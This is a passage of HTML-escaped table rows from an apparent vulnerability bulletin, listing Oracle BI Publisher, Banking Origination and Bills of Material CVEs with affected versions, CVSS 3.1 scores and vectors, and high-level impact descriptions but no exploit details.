&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Banking Origination&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Banking Origination product of Oracle Financial Services Applications (component: Onboarding Batch Processes). Supported versions that are affected are 14.5.0.0.0-14.9.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Banking Origination. Successful attacks of this vulnerability can result in takeover of Oracle Banking Origination. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83489&quot; target=&quot;_blank&quot;&gt;CVE-2026-83489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83268&quot; target=&quot;_blank&quot;&gt;CVE-2026-83268&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83269&quot; target=&quot;_blank&quot;&gt;CVE-2026-83269&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Publisher Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83267&quot; target=&quot;_blank&quot;&gt;CVE-2026-83267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle BI Publisher as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data and unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83284&quot; target=&quot;_blank&quot;&gt;CVE-2026-83284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via LDAP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data as well as unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83297&quot; target=&quot;_blank&quot;&gt;CVE-2026-83297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Publisher Security). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle BI Publisher. CVSS 3.1 Base Score 8.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83302&quot; target=&quot;_blank&quot;&gt;CVE-2026-83302&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83303&quot; target=&quot;_blank&quot;&gt;CVE-2026-83303&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle BI Publisher. CVSS 3.1 Base Score 8.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83305&quot; target=&quot;_blank&quot;&gt;CVE-2026-83305&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data as well as unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle BI Publisher. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83307&quot; target=&quot;_blank&quot;&gt;CVE-2026-83307&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle BI Publisher. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83308&quot; target=&quot;_blank&quot;&gt;CVE-2026-83308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83309&quot; target=&quot;_blank&quot;&gt;CVE-2026-83309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data as well as unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83310&quot; target=&quot;_blank&quot;&gt;CVE-2026-83310&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83311&quot; target=&quot;_blank&quot;&gt;CVE-2026-83311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Service API). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle BI Publisher accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle BI Publisher. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83314&quot; target=&quot;_blank&quot;&gt;CVE-2026-83314&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83315&quot; target=&quot;_blank&quot;&gt;CVE-2026-83315&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83298&quot; target=&quot;_blank&quot;&gt;CVE-2026-83298&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: E-Business Suite - XDO). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83312&quot; target=&quot;_blank&quot;&gt;CVE-2026-83312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: BI Platform Security). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83313&quot; target=&quot;_blank&quot;&gt;CVE-2026-83313&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Administration). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks of this vulnerability can result in takeover of Oracle BI Publisher. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83318&quot; target=&quot;_blank&quot;&gt;CVE-2026-83318&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Service API). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via SOAP to compromise Oracle BI Publisher. While the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83319&quot; target=&quot;_blank&quot;&gt;CVE-2026-83319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle BI Publisher&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Administration). Supported versions that are affected are 8.2.0.0.0, 12.2.1.4.0 and 26.01.0.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle BI Publisher accessible data as well as unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83320&quot; target=&quot;_blank&quot;&gt;CVE-2026-83320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.13-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as unauthorized access to critical data or complete access to all Oracle Bills of Material accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83435&quot; target=&quot;_blank&quot;&gt;CVE-2026-83435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as unauthorized access to critical data or complete access to all Oracle Bills of Material accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83447&quot; target=&quot;_blank&quot;&gt;CVE-2026-83447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as unauthorized access to critical data or complete access to all Oracle Bills of Material accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83448&quot; target=&quot;_blank&quot;&gt;CVE-2026-83448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material. While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Bills of Material accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Bills of Material. CVSS 3.1 Base Score 8.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83449&quot; target=&quot;_blank&quot;&gt;CVE-2026-83449&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Setup Workbench). Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Bills of Material. While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 8.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83450&quot; target=&quot;_blank&quot;&gt;CVE-2026-83450&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Bills of Material&lt;/td&gt;
